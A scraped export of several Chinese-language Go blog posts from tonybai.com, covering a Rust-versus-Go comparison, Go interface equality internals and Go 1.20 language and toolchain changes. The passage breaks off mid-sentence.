Cro\n当涉及到大型的软件开发时，清晰的比聪明的好。Go的局限性实际上使它比Rust等更复杂和强大的语言更适合企业和大机构。\nRust和Go的不同点 虽然Rust和Go都是流行的、现代的、广泛使用的语言，但它们并不是真正的竞争对手，因为它们故意针对的是完全不同的使用情况。\nGo的整个编程方法与Rust的完全不同，每一种语言都适合一些人，同时也会刺激另一些人。这完全没问题，如果Rust和Go都能以或多或少相同的方式做同样的事情，我们就不会真的需要两种不同的语言。\n那么，我们是否可以通过发现Rust和Go所采取的截然不同的方法来了解它们各自的本性呢？让我们拭目以待。\n垃圾回收 “要不要垃圾回收”是一个没有正确答案的问题。垃圾回收，以及一般的自动内存管理，使得开发可靠、高效的程序变得快速和容易，对于一些人来说，这至关重要。\n但也有人说，垃圾回收及其性能开销和停顿，使程序在运行时表现得不可预测，并引入了不可接受的延迟。争论还在继续。\nGo是一种与Rust非常不同的语言。虽然两者都可以被模糊地描述为系统语言或C语言的替代品，但它们有不同的目标和应用、语言设计的风格以及优先级。垃圾回收是一个真正巨大的区别。Go中的GC使语言更简单，更小，更容易推理。在Rust中没有GC会让它变得非常快（尤其是当你需要保证延迟，而不仅仅是高吞吐量的时候），并且可以实现Go中不可能实现的功能和编程模式（或者至少是在不牺牲性能的情况下）。 – PingCAP\n接近机器 计算机编程的历史是一个越来越复杂的抽象的故事，它让程序员在解决问题时不用太担心底层机器的实际运作。\n这使得程序更容易编写，也许更容易移植。但是对于许多程序来说，对硬件的访问以及对程序执行方式的精确控制更为重要。\nRust的目标是让程序员“更接近机器”，有更多的控制权，但Go抽象了架构细节，让程序员更接近问题。\n两种语言都有不同的适用范围。Go在编写微服务和典型的”DevOps”任务方面表现出色，但它不是一种系统编程语言。Rust对于那些看重并发性、安全性和性能的任务中更强；但它的学习曲线比Go更陡峭。 – Matthias Endler\n必须运行更快 许多人同意，对于大多数程序来说，性能不如可读性重要。但当性能确实重要时，它真的很重要。Rust做了一些设计上的权衡，以达到尽可能好的执行速度。\n相比之下，Go更关注简单性，它愿意为此牺牲一些（运行时）性能。但是Go的构建速度是无可匹敌的，这对于大型代码库来说是非常重要的。\nRust比Go快。在基准测试中，Rust更快，在某些情况下，甚至是数量级的快。但在你选择用Rust写所有东西之前，考虑一下Go在许多基准测试中并不落后于它，而且它仍然比Java、C#、JavaScript、Python等快得多。如果你需要的是顶级的性能，那么选择这两种语言中的任何一种，你都会在游戏中领先。如果你正在构建一个处理高负载的网络服务，你希望能够在纵向和横向上进行扩展，那么这两种语言都会非常适合你。- 安德鲁-拉德\n正确性 另一方面，如果一个程序不需要正常工作的话，它可以任意地快。大多数代码不是为长期而写的，但有些程序能在生产中运行多长时间往往是令人惊讶的：在某些情况下，可以保持几十年。\n在这种情况下，值得在开发中多花一点时间，以确保程序的正确性、可靠性，并在未来不需要大量的维护。\nGo和Rust都旨在帮助你编写正确的程序，但方式不同。例如，Go提供了一个极好的内置测试框架，而Rust则专注于使用其借用检查器消除运行时的错误。\n我认为。Go适用于明天必须交付的代码，而Rust适用于必须在未来五年内保持运行不动的代码。 – Grzegorz Nosek\n虽然Go和Rust对于任何严肃的项目来说都是很好的选择，但是让自己尽可能地了解每种语言及其特点是一个好主意。\n归根结底，别人怎么想并不重要：只有你能决定哪种语言适合你和你的团队。\n如果你想加快开发速度，也许是因为你有许多不同的服务需要编写，或者你有一个庞大的开发团队，那么Go是你的首选语言。Go把并发性作为第一等公民给你，并且不容忍不安全的内存访问（Rust也是如此），但不强迫你管理每一个细节。Go是快速和强大的，但它避免了使开发者陷入困境，而是专注于简单性和统一性。如果在另一方面，拧出每一盎司的性能是必要的，那么Rust应该是你的选择。 – 安德鲁-拉德\n结论 我希望这篇文章能让你相信Rust和Go都值得你认真考虑。如果可能的话，你应该争取在这两种语言中至少获得一定程度的经验，因为它们对你的任何技术职业都会有极大的帮助，甚至如果你仅把编程作为一种业余爱好的话。\n如果你只有时间投资学习一门语言，在你将Go和Rust用于各种不同类型的大小程序之前，不要做出最终决定。\n而编程语言的知识实际上只是成为一名成功的软件工程师的一小部分。到目前为止，你需要的最重要的技能是设计、工程、架构、沟通和协作。如果你在这些方面表现出色，无论你选择哪种语言，你都会成为一名优秀的软件工程师。学习愉快!\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/02/22/rust-vs-go-in-2023/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/rust-vs-go-in-2023-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/02/22/rust-vs-go-in-2023\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/02/22/rust-vs-go-in-2023\"\u003ehttps://tonybai.com/2023/02/22/rust-vs-go-in-2023\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文译自\u003ca href=\"https://bitfieldconsulting.com/golang/rust-vs-go\"\u003e《Rust vs Go in 2023》\u003c/a\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：从2022年下半年开始，我们研发团队的产品研发不再局限于云端，车端也是将来的一个重要方向。于是我除了继续对Go语言保持常规的高度关注之外，也逐步开始留意Rust语言的发展。\u003c/p\u003e","title":"2023年的Rust与Go[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2023/02/19/how-to-determine-if-two-interface-vars-are-equal\n近日一位《Go语言第一课》专栏的读者向我提出一个问题，代码如下：\nfunc main() { printNonEmptyInterface1() } type T struct { name string } func (t T) Error() string { return \u0026quot;bad error\u0026quot; } func printNonEmptyInterface1() { var err1 error // 非空接口类型 var err1ptr error // 非空接口类型 var err2 error // 非空接口类型 var err2ptr error // 非空接口类型 err1 = T{\u0026quot;eden\u0026quot;} err1ptr = \u0026amp;T{\u0026quot;eden\u0026quot;} err2 = T{\u0026quot;eden\u0026quot;} err2ptr = \u0026amp;T{\u0026quot;eden\u0026quot;} println(\u0026quot;err1:\u0026quot;, err1) println(\u0026quot;err2:\u0026quot;, err2) println(\u0026quot;err1 = err2:\u0026quot;, err1 == err2) // true println(\u0026quot;err1ptr:\u0026quot;, err1ptr) println(\u0026quot;err2ptr:\u0026quot;, err2ptr) println(\u0026quot;err1ptr = err2ptr:\u0026quot;, err1ptr == err2ptr) // false } 他的问题就是：“当动态类型是指针的时候，接口变量不相等；当动态类型不是指针的时候，接口变量相等，这个怎么理解呢？”。\n这个问题让我想到了Go FAQ中那个著名的“nil error != nil”问题，它给很多Go初学者带去了疑惑。让我们先回顾一下GO FAQ中的这个问题的例子代码：\ntype MyError struct { error } var ErrBad = MyError{ error: errors.New(\u0026quot;bad things happened\u0026quot;), } func bad() bool { return false } func returnsError() error { var p *MyError = nil if bad() { p = \u0026amp;ErrBad } return p } func main() { err := returnsError() if err != nil { fmt.Printf(\u0026quot;error occur: %+v\\n\u0026quot;, err) return } fmt.Println(\u0026quot;ok\u0026quot;) } 运行这个例子，我们将得到：\nerror occur: \u0026lt;nil\u0026gt; 就“nil error != nil”这个疑问，给大家简单说说如何判断两个接口类型变量是否相等。\nGo开源已经13年多了！各种渠道的资料也很多了，往往大家稍微深入学习一下，就知道了Go的接口类型在运行时是这样表示的：\n// $GOROOT/src/runtime/runtime2.go type iface struct { // 非空接口类型的运行时表示 tab *itab data unsafe.Pointer } type eface struct { // 空接口类型的运行时表示 _type *_type data unsafe.Pointer } 两个结构的共同点是它们都有两个指针字段，第一个字段功能相似，都是表示类型信息的，而第二个指针字段的功能也相同，都是指向当前赋值给该接口类型变量的动态类型变量的值。\n这样一来，判断两个接口类型变量是否相等，就是要判断这运行时表示中的类型信息与data信息是否相等。我们可以使用Go内置的println函数来输出接口变量的运行时表示，Go编译器会在编译阶段根据要输出的参数的类型将println替换为特定的运行时函数，这些函数都定义在\\$GOROOT/src/runtime/print.go文件中，而针对eface和iface类型的打印函数实现如下：\n// $GOROOT/src/runtime/print.go func printeface(e eface) { print(\u0026quot;(\u0026quot;, e._type, \u0026quot;,\u0026quot;, e.data, \u0026quot;)\u0026quot;) } func printiface(i iface) { print(\u0026quot;(\u0026quot;, i.tab, \u0026quot;,\u0026quot;, i.data, \u0026quot;)\u0026quot;) } 我们从printeface和printiface的实现可以看出println会将接口类型变量的类型信息与data信息输出。我们以上面Go FAQ中的例子来说，如果用println输出returnsError返回的error类型变量并与error(nil)作比较，代码如下：\nfunc main() { err := returnsError() println(err) println(error(nil)) ... ... } 我们将得到下面输出：\n(0x4b7318,0x0) // println(err) (0x0,0x0) // println(error(nil)) 我们看到error(nil)的类型信息部分为nil，而err的类型信息部分是不可空的，因此两者肯定是不相等的，这也是为什么这个例子会输出“意料之外”的“error occur: ”的原因。\n我们再回到本文开头的那个例子，运行例子后，输出如下内容：\nerr1: (0x10c6cc0,0xc000092f20) err2: (0x10c6cc0,0xc000092f40) err1 = err2: true err1ptr: (0x10c6c40,0xc000092f50) err2ptr: (0x10c6c40,0xc000092f30) err1ptr = err2ptr: false 我们看到无论接口变量的动态类型是采用指针的，还是采用非指针的，接口类型变量的类型信息部分都相同，data部分都不同。但为什么一个输出true，另外一个输出false呢？\n为了找到真正原因，我用lensm工具以图形化方式展示出汇编与源Go代码的对应关系：\n注：lensm v0.0.3以前的版本对于Go 1.20版本编译的程序不起作用，无法显示汇编对应的source。\n从图中我们看到，无论是err1 == err2，还是err1ptr == err2ptr，Go都会调用runtime.ifaceeq来进行比较！我们来看一下ifaceeq的比较逻辑：\n// $GOROOT/src/runtime/alg.go func efaceeq(t *_type, x, y unsafe.Pointer) bool { if t == nil { return true } eq := t.equal if eq == nil { panic(errorString(\u0026quot;comparing uncomparable type \u0026quot; + t.string())) } if isDirectIface(t) { // Direct interface types are ptr, chan, map, func, and single-element structs/arrays thereof. // Maps and funcs are not comparable, so they can't reach here. // Ptrs, chans, and single-element items can be compared directly using ==. return x == y } return eq(x, y) } func ifaceeq(tab *itab, x, y unsafe.Pointer) bool { if tab == nil { return true } t := tab._type eq := t.equal if eq == nil { panic(errorString(\u0026quot;comparing uncomparable type \u0026quot; + t.string())) } if isDirectIface(t) { // See comment in efaceeq. return x == y } return eq(x, y) } 这回对于接口类型变量的相等性判断一目了然了(由efaceeq中isDirectIface函数下面的注释可见)！\n在两个接口类型变量的类型信息(_type/tab字段)相同的情况下，对于动态类型为指针的类型(direct interface type的一种)，直接比对的是两个接口类型变量的类型指针；若为其他非指针类型(Go会额外分配内存存储，data为指向新内存块的指针)，则调用类型(_type)信息中的eq函数，eq函数的实现也都是对data解引用后的“==”相等性判断。当然就像Go FAQ中的例子那样，如果两个接口类型变量的类型信息(_type/tab字段)不同，那么两个接口类型变量肯定不等。\n好了，这回文章开头的读者疑问可以得到解决了：\nerr1和err2两个接口变量的动态类型都是T，因此比较的是data指向的内存块的值，虽然err1和err2的data字段指向的是两个内存块，但这两个内存块中的T对象值相同(实质就是一个string)，因此err1 == err2为true； err1ptr和err2ptr两个接口变量的动态类型都是*T，因此比较的直接就是data的值，显然data值不同，因此err1ptr == err2ptr为false。 这个问题也让我之前对接口变量的“偏差”理解得到了纠正，更多关于接口在运行时表示与接口变量相等性判断的内容大家可以参考《Go语言第一课》专栏第29讲！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/02/19/how-to-determine-if-two-interface-vars-are-equal/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-determine-if-two-interface-vars-are-equal-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/02/19/how-to-determine-if-two-interface-vars-are-equal\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/02/19/how-to-determine-if-two-interface-vars-are-equal\"\u003ehttps://tonybai.com/2023/02/19/how-to-determine-if-two-interface-vars-are-equal\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近日一位\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》专栏\u003c/a\u003e的读者向我提出一个问题，\u003ca href=\"https://go.dev/play/p/83f40N7UCtu\"\u003e代码\u003c/a\u003e如下：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunc main() {\n    printNonEmptyInterface1()\n}\n\ntype T struct {\n    name string\n}\nfunc (t T) Error() string {\n    return \u0026quot;bad error\u0026quot;\n}\nfunc printNonEmptyInterface1() {\n    var err1 error    // 非空接口类型\n    var err1ptr error // 非空接口类型\n    var err2 error    // 非空接口类型\n    var err2ptr error // 非空接口类型\n\n    err1 = T{\u0026quot;eden\u0026quot;}\n    err1ptr = \u0026amp;T{\u0026quot;eden\u0026quot;}\n\n    err2 = T{\u0026quot;eden\u0026quot;}\n    err2ptr = \u0026amp;T{\u0026quot;eden\u0026quot;}\n\n    println(\u0026quot;err1:\u0026quot;, err1)\n    println(\u0026quot;err2:\u0026quot;, err2)\n    println(\u0026quot;err1 = err2:\u0026quot;, err1 == err2)             // true\n    println(\u0026quot;err1ptr:\u0026quot;, err1ptr)\n    println(\u0026quot;err2ptr:\u0026quot;, err2ptr)\n    println(\u0026quot;err1ptr = err2ptr:\u0026quot;, err1ptr == err2ptr) // false\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e他的问题就是：“当动态类型是指针的时候，接口变量不相等；当动态类型不是指针的时候，接口变量相等，这个怎么理解呢？”。\u003c/p\u003e","title":"一文告诉你如何判断Go接口变量是否相等"},{"content":"\n本文永久链接 – https://tonybai.com/2023/02/08/some-changes-in-go-1-20\n美国时间2023年2月1日，唯一尚未退休的Go语言之父Robert Griesemer代表Go核心开发团队在Go官博撰文正式发布了Go 1.20版本。就像Russ Cox在2022 GopherCon大会所说的那样：Go2永不会到来，Go 1.x.y将无限延续！\n注：似乎新兴编程语言都喜欢停留在1.x.y上无限延续，譬如已经演化到1.67版本的Rust^_^。\n在《Go，13周年》之后，Go 1.20新特性在开发主干冻结(2022.11)之前，我曾写过一篇《Go 1.20新特性前瞻》，对照着Go 1.20 milestone中内容，把我认为的主要特性和大家简单过了一遍，不过那时Go 1.20毕竟没有正式发布，前瞻肯定不够全面，某些具体的点与正式版本可能也有差异！现在Go 1.20版本正式发布了，其Release Notes也补充完整了，在这一篇中，我再来系统说说Go 1.20版本中值得关注的那些变化。对于在前瞻一文中详细介绍过的特性，这里不会再重复讲解了，大家参考前瞻一文中的内容即可。而对于其他一些特性，或是前瞻一文中着墨不多的特性，这里会挑重点展开说说。\n按照惯例，我们依旧首先来看看Go语法层面都有哪些变化，这可能也是多数Gopher们最为关注的变化点。\n一. 语法变化 Go秉持“大道至简”的理念，对Go语法特性向来是“不与时俱进”的。自从Go 1.18大刀阔斧的加入了泛型特性后，Go语法特性就又恢复到了之前的“新三年旧三年，缝缝补补又三年”的节奏。Go 1.20亦是如此啊！Release Notes说Go 1.20版本在语言方面包含了四点变化，但看了变化的内容后，我觉得真正的变化只有一个，其他的都是修修补补。\n1. 切片到数组的转换 唯一算是真语法变化的特性是支持切片类型到数组类型(或数组类型的指针)的类型转换，这个特性在前瞻一文中系统讲过，这里就不赘述了，放个例子大家直观认知一下就可以了：\n// https://github.com/bigwhite/experiments/blob/master/go1.20-examples/lang/slice2arr.go func slice2arrOK() { var sl = []int{1, 2, 3, 4, 5, 6, 7} var arr = [7]int(sl) var parr = (*[7]int)(sl) fmt.Println(sl) // [1 2 3 4 5 6 7] fmt.Println(arr) // [1 2 3 4 5 6 7] sl[0] = 11 fmt.Println(arr) // [1 2 3 4 5 6 7] fmt.Println(parr) // \u0026amp;[11 2 3 4 5 6 7] } func slice2arrPanic() { var sl = []int{1, 2, 3, 4, 5, 6, 7} fmt.Println(sl) var arr = [8]int(sl) // panic: runtime error: cannot convert slice with length 7 to array or pointer to array with leng th 8 fmt.Println(arr) // \u0026amp;[11 2 3 4 5 6 7] } func main() { slice2arrOK() slice2arrPanic() } 有两点注意一下就好：\n切片转换为数组类型的指针，那么该指针将指向切片的底层数组，就如同上面例子中slice2arrOK的parr变量那样； 转换的数组类型的长度不能大于原切片的长度(注意是长度而不是切片的容量哦)，否则在运行时会抛出panic。 2. 其他的修修补补 comparable“放宽”了对泛型实参的限制 下面代码在Go 1.20版本之前，比如Go 1.19版本中会无法通过编译：\n// https://github.com/bigwhite/experiments/blob/master/go1.20-examples/lang/comparable.go func doSth[T comparable](t T) { } func main() { n := 2 var i interface{} = n // 编译错误：interface{} does not implement comparable doSth(i) } 之前，comparable约束下的泛型形参需要支持严格可比较(strictly comparable)的类型作为泛型实参，哪些是严格可比较的类型呢？Go 1.20的语法规范做出了进一步澄清：如果一个类型是可比较的，且不是接口类型或由接口类型组成的类型，那么这个类型就是严格可比较的类型，包括：\n- 布尔型、数值类型、字符串类型、指针类型和channel是严格可比较的。 - 如果结构体类型的所有字段的类型都是严格可比较的，那么该结构体类型就是严格可比较的。 - 如果数组元素的类型是严格可比较的，那么该数组类型就是严格可比较的。 - 如果类型形参的类型集合中的所有类型都是严格可比较的，那么该类型形参就是严格可比较的。 我们看到：例外的就是接口类型了。接口类型不是“严格可比较的(strictly comparable)”，但未作为类型形参的接口类型是可比较的(comparable)，如果两个接口类型的动态类型相同且值相等，那么这两个接口类型就相等，或两个接口类型的值均为nil，它们也相等，否则不等。\nGo 1.19版本及之前，作为非严格比较类型的接口类型是不能作为comparable约束的类型形参的类型实参的，就像上面comparable.go中示例代码那样，但Go 1.20版本开始，这一要求被防控，接口类型被允许作为类型实参赋值给comparable约束的类型形参了！不过这么做之前，你也要明确一点，如果像下面这样两个接口类型底层类型相同且是不可比较的类型（比如切片)，那么代码将在运行时抛panic：\n// https://github.com/bigwhite/experiments/blob/master/go1.20-examples/lang/comparable1.go func doSth[T comparable](t1, t2 T) { if t1 != t2 { println(\u0026quot;unequal\u0026quot;) return } println(\u0026quot;equal\u0026quot;) } func main() { n1 := []byte{2} n2 := []byte{3} var i interface{} = n1 var j interface{} = n2 doSth(i, j) // panic: runtime error: comparing uncomparable type []uint8 } Go 1.20语言规范借此机会还进一步澄清了结构体和数组两种类型比较实现的规范：对于结构体类型，Go会按照结构体字段的声明顺序，逐一字段进行比较，直到遇到第一个不相等的字段为止。如果没有不相等字段，则两个结构体字段相等；对于数组类型，Go会按数组元素的顺序，逐一元素进行比较，直到遇到第一个不相等的元素为止。如果没有不相等的元素，则两个数组相等。\nunsafe包继续添加“语法糖” 继Go 1.17版本在unsafe包增加Slice函数后，Go 1.20版本又增加三个语法糖函数：SliceData、String和StringData：\n// $GOROOT/src/unsafe/unsafe.go func SliceData(slice []ArbitraryType) *ArbitraryType func String(ptr *byte, len IntegerType) string func StringData(str string) *byte 值得注意的是由于string的不可更改性，String函数的参数ptr指向的内容以及StringData返回的指针指向的内容在String调用和StringData调用后不允许修改，但实际情况是怎么样的呢？\n// https://github.com/bigwhite/experiments/blob/master/go1.20-examples/lang/unsafe.go func main() { var arr = [6]byte{'h', 'e', 'l', 'l', 'o', '!'} s := unsafe.String(\u0026amp;arr[0], 6) fmt.Println(s) // hello! arr[0] = 'j' fmt.Println(s) // jello! b := unsafe.StringData(s) *b = 'k' fmt.Println(s) // kello! s1 := \u0026quot;golang\u0026quot; fmt.Println(s1) // golang b = unsafe.StringData(s1) *b = 'h' // fatal error: fault, unexpected fault address 0x10a67e5 fmt.Println(s1) } 我们看到：unsafe.String函数调用后，如果我们修改了传入的指针指向的内容，那么该改动会影响到后续返回的string内容！而StringData返回\n的指针所指向的内容一旦被修改，其结果要根据字符串的来源而定了。对于由可修改的底层数组“创建”的字符串(如s)，通过StringData返回的指\n针可以“修改”字符串的内容；而对于由字符串字面值初始化的字符串变量(如s1)，其内容是不可修改的(编译器将字符串底层存储分配在了只读数据区)，尝试通过指针修改指向内容，会导致运行时的段错误。\n二. 工具链 1. Go安装包“瘦身” 这些年，Go发布版的安装包“体格”是越来越壮了，动辄100多MB的压缩包，以go.dev/dl页面上的go1.xy.linux-amd64.tar.gz为例，我们看看从Go 1.15版本到Go 1.19版本的“体格”变化趋势：\nGo 1.15 - 116MB Go 1.16 - 123MB Go 1.17 - 129MB Go 1.18 - 135MB Go 1.19 - 142MB 如果按此趋势，Go 1.20势必要上到150MB以上。但Go团队找到了“瘦身”方法，那就是：从Go 1.20开始发行版的安装包不再为GOROOT中的软件包提供预编译的.a文件了，这样我们得到的瘦身后的Go 1.20版本的size为95MB！相较于Go 1.19，Go 1.20的安装包“瘦”了三分之一。安装包解压后这种体现更为明显：\n➜ /Users/tonybai/.bin/go1.19 git:(master) ✗ $du -sh 495M . ➜ /Users/tonybai/.bin/go1.20 git:(master) ✗ $du -sh 265M . 我们看到：Go 1.20占用的磁盘空间仅为Go 1.19版本的一半多一点而已。 并且，Go 1.20版本中，GOROOT下的源码将像其他用户包那样在构建后被缓存到本机cache中。此外，go install也不会为GOROOT下的软件包安装.a文件。\n2. 编译器 1) PGO(profile-guided optimization) Go 1.20编译器的一个最大的变更点是引入了PGO优化技术预览版，这个在前瞻一文中也有对PGO技术的简单介绍。说白了点，PGO技术就是在原有compiler优化技术的基础上，针对程序在生产环境运行中的热点关键路径再进行一轮优化，并且针对热点代码执行路径，编译器会放开一些限制，比如Go决定是否对函数进行内联优化的复杂度上限默认值是80，但对于PGO指示的关键热点路径，即便函数复杂性超过80很多，也可能会被inline优化掉。\n之前持续性能剖析工具开发商Polar Signals曾发布一篇文章《Exploring Go’s Profile-Guided Optimizations》，专门探讨了PGO技术可能带来的优化效果，文章中借助了Go项目中自带的测试示例，这里也基于这个示例带大家重现一下。\n我们使用的例子在Go 1.20源码/安装包的\\$GOROOT/src/cmd/compile/internal/test/testdata/pgo/inline路径下：\n$ls -l total 3156 -rw-r--r-- 1 tonybai tonybai 1698 Jan 31 05:46 inline_hot.go -rw-r--r-- 1 tonybai tonybai 843 Jan 31 05:46 inline_hot_test.go 我们首先执行一下inline目录下的测试，并生成用于测试的可执行文件以及对应的cpu profile文件供后续PGO优化使用：\n$go test -o inline_hot.test -bench=. -cpuprofile inline_hot.pprof goos: linux goarch: amd64 pkg: cmd/compile/internal/test/testdata/pgo/inline cpu: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz BenchmarkA-8 1348 870005 ns/op PASS ok cmd/compile/internal/test/testdata/pgo/inline 1.413s 接下来，我们对比一下不使用PGO和使用PGO优化，Go编译器在内联优化上的区别：\n$diff \u0026lt;(go test -run=none -tags='' -timeout=9m0s -gcflags=\u0026quot;-m -m\u0026quot; 2\u0026gt;\u0026amp;1 | grep \u0026quot;can inline\u0026quot;) \u0026lt;(go test -run=none -tags='' -timeout=9m0s -gcflags=\u0026quot;-m -m -pgoprofile inline_hot.pprof\u0026quot; 2\u0026gt;\u0026amp;1 | grep \u0026quot;can inline\u0026quot;) 4a5,6 \u0026gt; ./inline_hot.go:53:6: can inline (*BS).NS with cost 106 as: method(*BS) func(uint) (uint, bool) { x := int(i \u0026gt;\u0026gt; lWSize); if x \u0026gt;= len(b.s) { return 0, false }; w := b.s[x]; w = w \u0026gt;\u0026gt; (i \u0026amp; (wSize - 1)); if w != 0 { return i + T(w), true }; x = x + 1; for loop; return 0, false } \u0026gt; ./inline_hot.go:74:6: can inline A with cost 312 as: func() { s := N(100000); for loop; for loop } 上面diff命令中为Go test命令传入-run=none -tags=”\u0026quot; -gcflags=”-m -m”是为了仅编译源文件，而不执行任何测试。\n我们看到，相较于未使用PGO优化的结果，PGO优化后的结果多了两个inline函数，这两个可以被inline的函数，一个的复杂度开销为106，一个是312，都超出了默认的80，但仍然可以被inline。\n我们来看看PGO的实际优化效果，我们分为在无PGO优化与有PGO优化下执行100次benchmark，再用benchstat工具对比两次的结果：\n$go test -o inline_hot.test -bench=. -cpuprofile inline_hot.pprof -count=100 \u0026gt; without_pgo.txt $go test -o inline_hot.test -bench=. -gcflags=\u0026quot;-pgoprofile inline_hot.pprof\u0026quot; -count=100 \u0026gt; with_pgo.txt $benchstat without_pgo.txt with_pgo.txt goos: linux goarch: amd64 pkg: cmd/compile/internal/test/testdata/pgo/inline cpu: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz │ without_pgo.txt │ with_pgo.txt │ │ sec/op │ sec/op vs base │ A-8 874.7µ ± 0% 872.6µ ± 0% -0.24% (p=0.024 n=100) 注：benchstat的安装方法：\\$go install golang.org/x/perf/cmd/benchstat@latest\n我们看到，在我的机器上(ubuntu 20.04 linux kerenel 5.4.0-132)，PGO针对这个测试的优化效果并不明显(仅仅有0.24%的提升)，Polar Signals原文中的提升幅度也不大，仅为1.05%。\nGo官方Release Notes中提到benchmark提升效果为3%~4%，同时官方也提到了，这个仅仅是PGO初始技术预览版，后续会加强对PGO优化的投入，直至对多数程序产生较为明显的优化效果。个人觉得目前PGO尚处于早期，不建议在生产中使用。\nGo官方也增加针对PGO的ref页面，大家重点看看其中的FAQ，你会有更多收获！\n2) 构建速度 Go 1.18泛型落地后，Go编译器的编译速度出现了回退(幅度15%)，Go 1.19编译速度也没有提升。虽然编译速度回退后依然可以“秒杀”竞争对手，但对于以编译速度快著称的Go来说，这个问题必须修复。Go 1.20做到了这一点，让Go编译器的编译速度重新回归到了Go 1.17的水准！相对Go 1.19提升10%左右。\n我使用github.com/reviewdog/reviewdog这个库实测了一下，分别使用go 1.17.1、go 1.18.6、go 1.19.1和Go 1.20对这个module进行go build -a构建(之前将依赖包都下载本地，排除掉go get环节的影响)，结果如下：\ngo 1.20： $time go build -a github.com/reviewdog/reviewdog/cmd/reviewdog go build -a github.com/reviewdog/reviewdog/cmd/reviewdog 48.01s user 7.96s system 536% cpu 10.433 total go 1.19.1： $time go build -a github.com/reviewdog/reviewdog/cmd/reviewdog go build -a github.com/reviewdog/reviewdog/cmd/reviewdog 54.40s user 10.20s system 506% cpu 12.757 total go 1.18.6： $time go build -a github.com/reviewdog/reviewdog/cmd/reviewdog go build -a github.com/reviewdog/reviewdog/cmd/reviewdog 53.78s user 9.85s system 545% cpu 11.654 total go 1.17.1： $time go build -a github.com/reviewdog/reviewdog/cmd/reviewdog go build -a github.com/reviewdog/reviewdog/cmd/reviewdog 50.30s user 9.76s system 580% cpu 10.338 total 虽然不能十分精确，但总体上反映出各个版本的编译速度水准以及Go 1.20相对于Go 1.18和Go 1.19版本的提升。我们看到Go 1.20与Go 1.17版本在一个水平线上，甚至要超过Go 1.17(但可能仅限于我这个个例)。\n3) 允许在泛型函数/方法中进行类型声明 Go 1.20版本之前下面代码是无法通过Go编译器的编译的：\n// https://github.com/bigwhite/experiments/blob/master/go1.20-examples/tools/compiler/local_type_decl.go package main func F[T1 any]() { type x struct{} // 编译错误：type declarations inside generic functions are not currently supported type y = x // 编译错误：type declarations inside generic functions are not currently supported } func main() { F[int]() } Go 1.20改进了语言前端的实现，通过unified IR实现了对在泛型函数/方法中进行类型声明(包括定义type alias)的支持。\n同时，Go 1.20在spec中还明确了哪些使用了递归方式声明的类型形参列表是不合法的：\ntype T1[P T1[P]] … // 不合法: 形参列表中作为约束的T1引用了自己 type T2[P interface{ T2[int] }] … // 不合法: 形参列表中作为约束的T2引用了自己 type T3[P interface{ m(T3[int])}] … // 不合法: 形参列表中作为约束的T3引用了自己 type T4[P T5[P]] … // 不合法: 形参列表中，T4引用了T5 并且 type T5[P T4[P]] … // T5引用了T4 type T6[P int] struct{ f *T6[P] } // 正确: 虽然引用了T6，但这个引用发生在结构体定义中而不是形参列表中 4) 构建自举源码的Go编译器的版本选择 Go从Go 1.5版本开始实现自举，即使用Go实现Go，那么自举后的Go项目是谁来编译的呢？最初对应编译Go 1.5版本的Go编译器版本为Go 1.4。\n以前从源码构建Go发行版，当未设置GOROOT_BOOTSTRAP时，编译脚本会默认使用Go 1.4，但如果有更高版本的Go编译器存在，会使用更高版本的编译器。\nGo 1.18和Go 1.19会首先寻找是否有go 